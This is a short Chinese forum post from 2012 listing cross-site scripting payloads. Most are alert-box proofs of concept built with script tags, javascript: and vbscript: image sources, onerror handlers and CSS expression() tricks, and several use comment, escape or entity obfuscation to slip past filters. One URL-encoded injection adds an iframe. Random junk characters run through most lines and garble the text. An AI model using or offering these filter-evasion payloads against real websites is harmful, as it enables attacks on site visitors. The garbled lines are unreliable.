<script>alert("跨站")</script> (最常用）, V+ d# E: C# u' U! b$ l- c; y4 i
<img scr=javascript:alert("跨站")></img>
D. n0 Z+ d( `3 F8 \/ l5 p7 b<img scr="javascript: alert(/跨站/)></img>4 Z0 i( G5 |$ @2 j8 Z
<img scr="javas????cript:alert(/跨站/)" width=150></img> (?用tab键弄出来的空格）
0 Z' I) e/ P7 h! v/ g<img scr="#" onerror=alert(/跨站/)></img>
3 W+ k; F) s2 c+ C<img scr="#" style="xss:expression(alert(/xss/));"></img># e, e% \- K W0 l- w2 n% K, o0 L5 z
<img scr="#"/* */onerror=alert(/xss/) width=150></img> (/**/ 表示注释）) f" P/ }- t, A2 R8 T+ f
<img src=vbscript:msgbox ("xss")></img>; a5 G$ D0 V- T4 I
<style> input {left:expression (alert('xss'))}</style>
) g0 H7 `& R* \# r' X6 d9 O9 ^/ }<div style={left:expression (alert('xss'))}></div>
# j4 C& `7 V' M<div style={left:exp/* */ression (alert('xss'))}></div>
1 H+ V2 _ t* b7 v<div style={left:\0065\0078ression (alert('xss'))}></div>/ V5 A0 w( |7 ^: G9 ?- N6 ^
html 实体 <div style={left:&#ｘ0065；xpression (alert('xss'))}></div>
" g' D9 H6 @# B, w- Q) municode <div style="{left:expRessioN (alert('xss'))}">0 v$ W# n) F* M! A8 r' j
, q5 | `6 ~" I& Q3 Z' v"]}%3Cscript%3Ealert('我又来啦！.')%3C/script%3E{[&item="]<iframe%20src=WWW.BAIDU.COM%20width=400%20height=600></iframe>["
; Q1 Q8 o, g6 _5 ^) y |
发表于 2012-9-15 14:09:13
收藏
支持
反对